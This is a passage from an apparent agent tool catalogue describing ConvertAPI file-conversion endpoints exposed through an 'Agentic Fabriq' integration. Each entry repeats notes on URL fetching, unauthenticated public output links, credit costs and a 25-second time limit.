apply an ICC color profile for predictable rendering across devices and workflows. Enable PDF/A compliance when long-term preservation is required. Ideal for digitization pipelines, records management, and distributing raster graphics as portable documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/pdf. Scopes: api. convertapi_post_convert_bmp_to_png (write) — BMP to PNG Conversion API via POST /convert/bmp/to/png. Convert BMP images to widely supported PNG format for web, mobile, and application workflows. Use general image controls to adjust resolution (DPI), choose scaling behavior, and specify explicit width/height to achieve consistent output across varied inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and set color space for predictable rendering across devices. Ideal for preparing scans, screenshots, and graphics for distribution or UI display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/png. Scopes: api. convertapi_post_convert_bmp_to_pnm (write) — BMP to PNM Conversion API via POST /convert/bmp/to/pnm. Convert BMP images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Use general image controls to set resolution (DPI), select scaling behavior, and define exact width/height for predictable results across inputs. Choose grayscale or RGB output as appropriate, and map transparent regions to a specified background color when downstream tools lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/pnm. Scopes: api. convertapi_post_convert_bmp_to_svg (write) — BMP to SVG Conversion API via POST /convert/bmp/to/svg. Convert BMP images into precise, scalable SVG vectors. Control color mode and palette size, layering, curve fitting, corner threshold, segment length, speckle filtering, and gradient steps to balance fidelity and file size. Optionally set output width/height for consistent exports. Ideal for diagrams, UI assets, and vectorizing raster artwork. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/svg. Scopes: api. convertapi_post_convert_bmp_to_tiff (write) — BMP to TIFF Conversion API via POST /convert/bmp/to/tiff. Convert BMP images to robust TIFF format suitable for long-term archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune quality settings for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and integrations that require lossless or high-fidelity raster output with predictable characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/tiff. Scopes: api. convertapi_post_convert_bmp_to_webp (write) — BMP to WebP Conversion API via POST /convert/bmp/to/webp. Convert BMP images to modern WebP format to reduce file sizes while preserving visual fidelity. Use general image controls to set resolution (DPI), choose scaling behavior, and define explicit width/height so results fit your UI or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows requiring small, visually faithful images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/bmp/to/webp. Scopes: api. convertapi_post_convert_csv_to_pdf (write) — CSV to PDF Conversion API via POST /convert/csv/to/pdf. Convert CSV data into clean, shareable PDF documents using the Excel rendering engine. Control page orientation and page size, auto-fit columns or entire pages, clear print areas, and apply custom scaling to match layout constraints. Add a header on each page and optionally preserve document metadata during conversion. Normalize locale with thousands/decimal separators and date formats for consistent presentation across regions. Open password-protected inputs when needed and select or create a target worksheet context as part of the rendering pipeline. Enable PDF/A for long-term preservation and process single files or batches for predictable, repeatable results. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/csv/to/pdf. Scopes: api. convertapi_post_convert_csv_to_xlsx (write) — CSV to XLSX Conversion API via POST /convert/csv/to/xlsx. Convert CSV (comma-separated values) and other delimited text files to Excel XLSX workbooks for data analysis and reporting. Specify custom delimiters (comma, tab, semicolon, etc.) to parse various CSV formats correctly. Control cell type handling to ensure numbers, dates, and text are properly formatted. Ideal for importing data from exports, databases, logs, and third-party systems into Excel for business intelligence, analytics, and automated reporting workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/csv/to/xlsx. Scopes: api. convertapi_post_convert_data_to_barcode (write) — Generate Barcode API: Generate Barcodes from payload via POST /convert/data/to/barcode. The Generate Barcode API allows you to generate high-quality barcode images from provided payload. It supports a wide range of barcode formats, including 1D barcodes like Code 128, Code 39, EAN-13, and 2D barcodes like Data Matrix. You can customize the output image format (vectorial SVG, PNG, JPG, TIFF), set specific dimensions (width and height), adjust margins, and set image resolution. The API also provides an option to use recommended proportions for optimal readability and supports GS1 formatting standard. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/data/to/barcode. Scopes: api. convertapi_post_convert_data_to_qrcode (write) — Generate QR Code API: Generate QR Codes from Payload via POST /convert/data/to/qrcode. Generate QR Code API allows you to generate high-quality QR code images from provided data. You can customize the output image format (vectorial SVG, PNG, JPG, TIFF), set specific dimensions (width and height), adjust margins, and set image resolution. The API also provides an option to use recommended proportions for optimal readability. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/data/to/qrcode. Scopes: api. convertapi_post_convert_dcm_to_jpg (write) — DICOM to JPG API via POST /convert/dcm/to/jpg. Convert DICOM (.dcm) medical images from CT, MRI, ultrasound, and other modalities into widely compatible JPG files for viewing, sharing, and web use. The API decodes the DICOM pixel data and applies the stored window center/width (VOI LUT) so the output matches the diagnostic presentation, then lets you set color space, JPEG quality, resolution (DPI), scaling behavior, and explicit dimensions. Compressed transfer syntaxes (RLE, JPEG, JPEG-LS, JPEG2000) are decoded automatically, and a multi-frame series is expanded into one JPG per frame. Designed for automation and bulk processing across medical, healthcare, and insurance workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dcm/to/jpg. Scopes: api. convertapi_post_convert_dcm_to_pdf (write) — DICOM to PDF API via POST /convert/dcm/to/pdf. Convert DICOM (.dcm) medical images from CT, MRI, ultrasound, and other modalities into PDF documents for reporting, records, and archival. The API decodes the DICOM pixel data and applies the stored window center/width (VOI LUT) so pages match the diagnostic presentation, then lets you set page size, orientation, margins, rotation, and color profile, with optional PDF/A output for compliant archiving. Compressed transfer syntaxes (RLE, JPEG, JPEG-LS, JPEG2000) are decoded automatically, and a multi-frame series is laid out as one page per frame in a single PDF. Designed for automation and bulk processing across medical, healthcare, and insurance workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dcm/to/pdf. Scopes: api. convertapi_post_convert_dcm_to_png (write) — DICOM to PNG API via POST /convert/dcm/to/png. Convert DICOM (.dcm) medical images from CT, MRI, ultrasound, and other modalities into lossless PNG files for viewing, annotation, and web use. The API decodes the DICOM pixel data and applies the stored window center/width (VOI LUT) so the output matches the diagnostic presentation, then lets you map a color to transparency and set resolution (DPI), scaling behavior, and explicit dimensions. Compressed transfer syntaxes (RLE, JPEG, JPEG-LS, JPEG2000) are decoded automatically, and a multi-frame series is expanded into one PNG per frame. Designed for automation and bulk processing across medical, healthcare, and insurance workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dcm/to/png. Scopes: api. convertapi_post_convert_djvu_to_jpg (write) — DJVU to JPG Conversion API via POST /convert/djvu/to/jpg. Render DJVU eBooks to JPG images for previews, sharing, and archival use. Control output resolution, explicit width/height, and JPEG quality to balance clarity and file size. Ideal for generating thumbnails, galleries, and quick reviews without requiring an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/djvu/to/jpg. Scopes: api. convertapi_post_convert_djvu_to_pdf (write) — DJVU to PDF Conversion API via POST /convert/djvu/to/pdf. Convert DJVU eBooks to PDF for easy distribution and printing. Customize base font size, select page size, and set precise margins to match your brand or print requirements. Ideal for generating consistent, accessible documents without an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/djvu/to/pdf. Scopes: api. convertapi_post_convert_djvu_to_png (write) — DJVU to PNG Conversion API via POST /convert/djvu/to/png. Render DJVU eBooks to PNG images for previews, sharing, and archival use. Control output resolution and explicit width/height for sharp, lossless screenshots. Ideal for thumbnails, galleries, and quick reviews without an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/djvu/to/png. Scopes: api. convertapi_post_convert_djvu_to_tiff (write) — DJVU to TIFF Conversion API via POST /convert/djvu/to/tiff. Render DJVU eBooks to TIFF images for previews, sharing, and archival use. Control output resolution and explicit width/height to match print or display needs. Ideal for production pipelines that require consistent, high-fidelity page images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/djvu/to/tiff. Scopes: api. convertapi_post_convert_djvu_to_webp (write) — DJVU to WebP Conversion API via POST /convert/djvu/to/webp. Render DJVU eBooks to WebP images for previews, galleries, and archival use. Control output resolution, explicit width/height, and image quality to balance clarity and file size. Ideal for thumbnails and review workflows without requiring an e-reader. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/djvu/to/webp. Scopes: api. convertapi_post_convert_doc_to_docx (write) — DOC to DOCX Conversion API via POST /convert/doc/to/docx. Convert legacy DOC files to modern DOCX format. Update TOC, references, and handle passwords. Fast, reliable Word document processing. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/doc/to/docx. Scopes: api. convertapi_post_convert_document_to_moderate (write) — Document Moderation API via POST /convert/document/to/moderate. Automatically analyze documents (PDF, Word, RTF, ODT) for harmful and sensitive content. This API helps you detect policy violations, flag unsafe material, and support compliance workflows with fast and reliable AI-driven classification. Ideal for platforms that need to screen user-generated content before storage, sharing, or publication. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/document/to/moderate. Scopes: api. convertapi_post_convert_docx_to_compare (write) — Word Compare API via POST /convert/docx/to/compare. The DOCX Compare API allows for comparing two Word document versions to identify differences using revision marks. It offers various customization options including the ability to specify comparison granularity at the word or character level, whether to compare formatting, case changes, whitespace, tables, headers and footers, footnotes and endnotes, textboxes, fields, comments, document moves, and whether to accept revisions before comparison. This is useful for efficiently managing document revisions in collaborative environments such as legal, academic, and corporate settings. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/compare. Scopes: api. convertapi_post_convert_docx_to_docx (write) — DOCX to DOCX Conversion API via POST /convert/docx/to/docx. Process Microsoft Word DOCX documents with automated updates to table of contents and cross-references. Supports password-protected files and ensures document integrity during conversion. Ideal for batch processing, document normalization, and automated workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/docx. Scopes: api. convertapi_post_convert_docx_to_html (write) — DOCX to HTML Conversion API via POST /convert/docx/to/html. Convert Microsoft Word DOC/DOCX documents to clean, standards-compliant HTML. Preserve structure, headings, lists, tables, and inline formatting. Supports embedded images as inline data URIs or external files. Ideal for web preview, content pipelines, and CMS ingestion. No Microsoft Office required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/html. Scopes: api. convertapi_post_convert_docx_to_jpg (write) — DOCX to JPG Conversion API via POST /convert/docx/to/jpg. Convert Microsoft Word documents (DOC/DOCX) to high-quality JPG images for previews, web display, and archival. Open password-protected files, select specific page ranges, and control image resolution (DPI), width, height, and JPEG quality. Designed for automation and batch processing, producing consistent visual snapshots from documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/jpg. Scopes: api. convertapi_post_convert_docx_to_md (write) — Word DOCX to Markdown (MD) Conversion API via POST /convert/docx/to/md. Convert Word documents into clean, readable Markdown (.md) for documentation workflows, content migration, version control, and AI pipelines such as LLM ingestion and RAG. Both modern DOCX and legacy DOC files are accepted, password protected documents included. Standard document structure is preserved: headings, bold and italic text, bulleted and numbered lists, and tables all become their Markdown equivalents. Content that usually disappears in a Markdown conversion is recovered: chart data becomes a table of its values, embedded spreadsheets are rendered, equations turn into readable text such as E=mc^2, and SmartArt contributes its node text. The Images parameter decides what happens to... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/md. Scopes: api. convertapi_post_convert_docx_to_merge (write) — Merge DOCX API via POST /convert/docx/to/merge. The Merge DOCX API allows users to combine multiple Word documents into a single DOCX file. Some key features of the Merge DOCX API include keeping the original formatting of every merged document, separating documents with a section break or a page break, and updating page numbers and tables of contents to match the combined result. Password protected documents are supported, and legacy DOC files can be mixed with DOCX. This API is useful for assembling contracts, reports, and generated documents into a single Word file as part of an automated workflow. The input may be a URL, which ConvertAPI 